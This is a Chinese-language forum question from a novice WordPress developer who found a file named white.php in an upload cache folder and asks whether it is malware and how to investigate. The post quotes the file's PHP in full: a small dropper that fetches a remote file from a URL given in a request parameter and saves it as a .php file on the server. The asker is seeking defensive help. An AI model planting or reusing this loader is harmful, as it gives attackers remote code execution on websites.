wordpress - 我在 Wordpress 网站的缓存文件夹中的 white.php 文件中找到了这段代码

Question

我在 /upload/cache Wordpress 文件夹中找到了 white.php 文件。它包含以下代码：

    <?php
$name = '68aa884d96d2e824669d2d.php';
$ch = curl_init ($_REQUEST['68aa884d96d2e824669d2d']);
$fp = fopen ($name, "w+");
curl_setopt ($ch, CURLOPT_FILE, $fp);
$ult = curl_exec ($ch);
curl_close ($ch);
fclose ($fp);
if(!$ult){
$f = file_get_contents($_REQUEST['68aa884d96d2e824669d2d']); 
file_put_contents($name,$f); 
}

我是一个新手开发人员，我想知道这是否是恶意软件代码，如果是，我该如何调查这个问题。

谢谢你。

标签： wordpressmalware